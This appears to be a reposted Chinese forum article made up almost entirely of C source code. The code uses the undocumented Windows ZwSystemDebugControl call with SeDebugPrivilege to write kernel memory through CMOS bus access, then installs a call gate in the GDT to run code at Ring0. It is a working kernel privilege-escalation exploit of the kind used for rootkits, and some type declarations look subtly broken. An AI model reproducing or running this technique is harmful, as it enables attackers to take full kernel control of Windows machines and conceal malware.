[zt]利用NtSystemDebugControl进入Ring0的源代码
文章作者:zjjmj
* Discovered and coded by randnut Jan 25, 2004
* I just add my callgate routine, hope you enjoy it, hehe. ------zjjmj2002
/
#include <windows.h>
#include <stdio.h>
typedef int NTSTATUS;
typedef DWORD ULONG_PTR;
#define NTAPI __stdcall
const IA32_SYSENTER_CS = 0x174;
const IA32_SYSENTER_ESP = 0x175;
const IA32_SYSENTER_EIP = 0x176;
const SelCodeKernel = 0x8;
const CmosIndx = 0x0E; // CMOS Diagnostic Status
const RdWrIoPort = 0x80;
#define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}
#define FCHK2(a,b) if (!(a)) {printf(#a " failed\n"); goto b;}
typedef enum _DEBUG_CONTROL_CODE {
DebugSysReadIoSpace = 14,
DebugSysWriteIoSpace = 15,
DebugSysReadMsr = 16,
DebugSysWriteMsr = 17,
DebugSysReadBusData = 18,
DebugSysWriteBusData = 19,
} DEBUG_CONTROL_CODE;
typedef enum _BUS_DATA_TYPE {
ConfigurationSpaceUndefined = -1,
Cmos,
EisaConfiguration,
Pos,
CbusConfiguration,
PCIConfiguration,
VMEConfiguration,
NuBusConfiguration,
PCMCIAConfiguration,
MPIConfiguration,
MPSAConfiguration,
PNPISAConfiguration,
SgiInternalConfiguration,
MaximumBusDataType
} BUS_DATA_TYPE, PBUS_DATA_TYPE;
// See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of
struct MyCallGate
{
WORD OFFSETL;
WORD SELECTOR;
BYTE DCOUNT;
BYTE GTYPE;
WORD OFFSETH;
DWORD CodeLimit;
DWORD CodeBase;
};
typedef struct _BUS_STRUCT {
ULONG Offset;
PVOID Buffer;
ULONG Length;
BUS_DATA_TYPE BusDataType;
ULONG BusNumber;
ULONG SlotNumber;
} BUS_STRUCT;
typedef
NTSTATUS
(NTAPI PZwSystemDebugControl)(
DEBUG_CONTROL_CODE ControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength,
PULONG ReturnLength
);
PZwSystemDebugControl ZwSystemDebugControl = NULL;
int CmosRead(int offs, BYTE ppAddr = NULL)
{
BYTE buf;
BUS_STRUCT bus;
bus.BusDataType = Cmos;
bus.BusNumber = 0;
bus.SlotNumber = offs;
bus.Buffer = ppAddr ? ppAddr : &buf;
bus.Offset = 0;
bus.Length = 1;
if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0,
NULL) < 0)
return -1;
else
return ppAddr ? 0x100 : buf;
}
int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL)
{
BUS_STRUCT bus;
bus.BusDataType = Cmos;
bus.BusNumber = 0;
bus.SlotNumber = offs;
bus.Buffer = ppAddr == NULL ? &val : ppAddr;
bus.Offset = 0;
bus.Length = 1;
return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL,
0, NULL) >= 0;
}
int WriteMem(DWORD MemAddr, BYTE Value)
{
int OldVal = CmosRead(CmosIndx);
BYTE p = (BYTE)(ULONG_PTR)MemAddr;
CmosWrite(CmosIndx, Value);
CmosRead(CmosIndx, &p);
CmosWrite(CmosIndx, OldVal);
return 1;
}
int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable)
{
TOKEN_PRIVILEGES tok;
tok.PrivilegeCount = 1;
tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;
FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid));
FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL));
return 1;
}
void CallGate()
{
MyCallGate CallGate;
DWORD GDTBase;
_asm
{
PUSH EDX
SGDT FWORD PTR SS:[ESP-2]
POP EDX
MOV GDTBase,EDX
MOV CallGate.OFFSETL,DX
SHR EDX,16
MOV CallGate.OFFSETH,DX
}
CallGate.SELECTOR = 0x358;
CallGate.DCOUNT = 0;
CallGate.GTYPE = 0xec;
CallGate.CodeLimit = 0xffff;
CallGate.CodeBase = 0xcf9a00; //Build My CallGate
WriteMem(GDTBase, 0xc3);
GDTBase = GDTBase+0x350;
for ( int i=0 ; i<=15 ; i++ )
{
BYTE p;
DWORD q;
_asm
{
LEA ESI,CallGate
ADD ESI,i
XOR EAX,EAX
LODSB
MOV p,AL
}
WriteMem(GDTBase+i, p);
}
}
int main(int argc, char* argv[])
{
HMODULE hNtdll;
FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL);
FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll,
"ZwSystemDebugControl")) != NULL);
HANDLE hToken;
FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY, &hToken));
FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1));
CallGate();
return 0;
}